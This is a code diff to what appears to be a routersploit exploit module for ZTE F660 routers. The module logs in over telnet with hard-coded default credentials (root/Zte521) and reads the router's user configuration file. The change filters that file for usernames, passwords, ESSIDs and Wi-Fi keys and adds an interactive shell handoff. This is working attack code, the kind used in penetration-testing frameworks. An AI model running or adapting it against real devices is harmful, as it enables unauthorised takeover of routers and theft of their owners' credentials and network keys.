Fix exploits ZTE F660 Config Disclosure

routersploit/modules/exploits/zte/f660_config_disclosure.py

@@ -4,6 +4,7 @@ from routersploit import (
     exploits,
     print_success,
     print_error,
+    mute
 )
 
 
@@ -29,7 +30,7 @@ class Exploit(exploits.Exploit):
     target = exploits.Option('', 'Target address e.g. 192.168.1.1')  # target address
     username = exploits.Option("root", "Username to authenticate with") # telnet username, default root
     password = exploits.Option("Zte521", "Password to authenticate with") # telnet password, default Zte521
-    config = "cat /userconfig/cfg/db_user_cfg.xml"
+    config = "cat /userconfig/cfg/db_user_cfg.xml | grep -E 'UserName|Username|Password|password|ESSID|KeyPhase'"
 
     def run(self):
         try:
@@ -38,7 +39,6 @@ class Exploit(exploits.Exploit):
             tn.write(self.username + "\r\n")
             tn.expect(["Password: ", "password"], 5)
             tn.write(self.password + "\r\n")
-            tn.write("\r\n")
 
             (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
 
@@ -48,12 +48,14 @@ class Exploit(exploits.Exploit):
                 if any(map(lambda x: x in res, ["#", "$", ">"])):
                     print_success("Telnet - Successful authentication")
                     tn.write(self.config + "\r\n")
+                    tn.interact()
 
             tn.close()
         except:
             print_error("Connection Error")
             return
 
+    @mute
     def check(self):
         try:
             tn = telnetlib.Telnet(self.target, 23)
@@ -69,9 +71,10 @@ class Exploit(exploits.Exploit):
             if i != -1:
                 return False
             else:
-                if any(map(lambda x: x in res, ["<DM name="])):
-                    tn.close()
-                    return True
+                if any(map(lambda x: x in res, ["#", "$", ">"])):
+                    if any(map(lambda x: x in res, ["<DM name="])):
+                        tn.close()
+                        return True
             tn.close()
         except:
             return False